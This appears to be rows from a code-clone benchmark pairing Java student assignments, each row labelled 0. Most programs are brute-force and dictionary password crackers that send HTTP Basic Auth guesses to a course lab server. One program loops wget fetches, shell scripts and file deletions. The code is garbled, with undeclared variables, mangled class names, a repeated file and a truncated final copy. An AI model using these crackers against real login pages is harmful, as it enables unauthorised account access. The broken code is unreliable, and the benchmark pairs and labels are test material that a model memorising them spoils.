public PasswordTest(String url, String username, String password) {
strURL = url;
strUsername = username;
strPassword = password;
}
boolean func() {
boolean result = false;
Authenticator.setDefault (new MyAuthenticator ());
try {
URL url = new URL(strURL);
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) {
result = true;
}
}
catch (IOException e) {}
return result;
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = strUsername;
String password = strPassword;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
233.java | 197.java | 0 | import java.util.*;
import java.io.*;
import java.*;
public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);
BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String line=" " ;
String line1=" " ;
String line2=" ";
String line3=" ";
String[] cad = new String[10];
executes("./.sh");
int i=0;
while ((line = buf.readLine()) != null)
{
line1="http://www.cs.rmit.edu./students/images"+line;
if (i==1)
line2="http://www.cs.rmit.edu./students/images"+line;
if (i==2)
line3="http://www.cs.rmit.edu./students/images"+line;
i++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+line1);
executes("wget "+line2);
executes("wget "+line3);
String hash3 = md5sum("index.html.2");
String hash4 = md5sum("index.html.3");
String hash5 = md5sum("index.html.4");
BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String linee=" " ;
String linee1=" " ;
String linee2=" ";
String linee3=" ";
executes("./ip1.sh");
int j=0;
while ((linee = buf2.readLine()) != null)
{
linee1="http://www.cs.rmit.edu./students/images"+linee;
if (j==1)
linee2="http://www.cs.rmit.edu./students/images"+linee;
if (j==2)
linee3="http://www.cs.rmit.edu./students/images"+linee;
j++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+linee1);
executes("wget "+linee2);
executes("wget "+linee3);
String hash6 = md5sum("index.html.5");
String hash7 = md5sum("index.html.6");
String hash8 = md5sum("index.html.7");
boolean pict=false;
if (hash3.equals(hash6))
pict=true;
boolean pict2=false;
if (hash3.equals(hash6))
pict2=true;
boolean pict3=false;
if (hash3.equals(hash6))
pict3=true;
if (hash1.equals(hash2))
{
executes("./difference.sh");
executes("./mail.sh");
}
else
{
if (pict || pict2 || pict3)
{
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail2.sh");
}
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail.sh");
executes("./reorder.sh");
executes("rm index.html");
executes("cp index.html.1 index.html");
executes("rm index.html.1");
executes("sleep 5");
}
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String cad;
while(( cad = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String cad;
String hash= " ";
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
"-c", "md5sum "+file });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((bf = cad.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
086.java | 197.java | 0 | import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempts);
break exit;
}
inp[2] = "";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty ("Authorization",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return " " + base64Encode (username + ":" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
153.java | 197.java | 0 | import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try {
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
150.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary{
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Correct Format Filename username e.g<>");
System.exit(1);
}
Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result);
}
private String Dict(String urlString,String username)
{
int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;
try{
stream = new FileInputStream ("/usr/share/lib/dict/words");
word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{
password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print("crackin...:");
System.out.print("\b\b\b\b\b\b\b\b\b\b\b" );
URL url = new URL (urlString);
String userPassword=username+":"+password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
URLConnection conc = url.openConnection();
conc.setRequestProperty ("Authorization", " " + encoding);
conc.connect();
cnt++;
if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("The Number Of Attempts : "+cnt);
t1 = System.currentTimeMillis();
net=t1-t0;
System.out.println("Total Time in secs..."+net/1000);
return password;
}
}
}
catch (Exception e )
{
e.printStackTrace();
}
try
{
word.close();
stream.close();
}
catch (IOException e)
{
System.out.println("Error in closing input file:\n" + e.toString());
}
return "Password could not found";
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
194.java | 197.java | 0 |
import java.io.*;
import java.util.*;
class BruteForce{
public static void main(String args[]){
String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
z = System.currentTimeMillis();
int at=0;
for(int i=0;i<password.length;i++){
for(int j=0;j<password.length;j++){
for(int k=0;k<password.length;k++){
pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);
try {
System.out.println("Trying crack using: "+pass);
at++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
try{
p.waitFor();
}
catch(Exception q){}
z = p.exitValue();
if(z==0)
{
finish = System.currentTimeMillis();
float time = finish - t;
System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " );
System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " );
System.exit(0);
}
}
catch (IOException e) {
System.out.println("Exception happened");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
082.java | 197.java | 0 | import java.net.*;
import java.util.*;
import java.io.*;
public class BruteForce {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c ;
public BruteForce(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(char[] pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
BruteForce bf = new BruteForce();
char i, j, k;
for(i='a'; i<='z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='Z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='a'; j<='z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='a'; i<='z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='z'; j++){
if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
continue;
}
char[] pw = {i, j};
bf.checkPassword(pw);
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
char[] pw = {i};
bf.checkPassword(pw);
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
176.java | 197.java | 0 |
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
105.java | 197.java | 0 |
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
